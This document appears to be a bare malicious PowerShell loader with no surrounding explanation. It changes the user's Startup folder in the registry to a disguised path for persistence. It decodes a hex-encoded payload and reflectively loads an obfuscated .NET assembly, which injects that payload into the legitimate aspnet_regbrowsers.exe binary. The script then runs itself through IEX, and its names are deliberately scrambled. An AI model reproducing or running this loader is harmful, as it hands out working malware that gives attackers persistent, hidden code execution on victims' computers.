
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "C:\ProgramData\Microsoft Arts\Start";
start-sleep -s 5
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" -Name "Startup" -Value "C:\ProgramData\Microsoft Arts\Start";
Function aloshy
{
if([System.IO.File]::Exists("C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regbrowsers.exe"))
{
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Function eaAQFJIL {
 
    [CmdletBinding()]
    [OutputType([byte[]])]
    param(
        [Parameter(Mandatory=$true)] [String]$zXaWVPi
    )
    $KLGdDGfD = New-Object -TypeName byte[] -ArgumentList ($zXaWVPi.Length / 2)
    for ($i = 0; $i -lt $zXaWVPi.Length; $i += 2) {
        $KLGdDGfD[$i / 2] = [Convert]::ToByte($zXaWVPi.Substring($i, 2), 16)
    }

    return [byte[]]$KLGdDGfD
}

[Byte[]]$XIISPOEDJJHF411A55SS= eaAQFJIL $MISOODJJHF444155SS
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[Reflection.Assembly]::"Load"($cddsrtelkjce9998).GetType('xxxxvvvvxxxxx.MSMKLJLIJKLHJKGYUGLJH').GetMethod('Execute').Invoke($null,[object[]] ('C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regbrowsers.exe',$XIISPOEDJJHF411A55SS))
}
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Function eaAQFJIL {
 
    [CmdletBinding()]
    [OutputType([byte[]])]
    param(
        [Parameter(Mandatory=$true)] [String]$zXaWVPi
    )
    $KLGdDGfD = New-Object -TypeName byte[] -ArgumentList ($zXaWVPi.Length / 2)
    for ($i = 0; $i -lt $zXaWVPi.Length; $i += 2) {
        $KLGdDGfD[$i / 2] = [Convert]::ToByte($zXaWVPi.Substring($i, 2), 16)
    }

    return [byte[]]$KLGdDGfD
}

[Byte[]]$XIISPOEDJJHF411A55SS= eaAQFJIL $MISOODJJHF444155SS
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[Reflection.Assembly]::"Load"($cddsrtelkjce9998).GetType('xxxxvvvvxxxxx.MSMKLJLIJKLHJKGYUGLJH').GetMethod('Execute').Invoke($null,[object[]] ('C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe',$XIISPOEDJJHF411A55SS))
}
}
IEX aloshy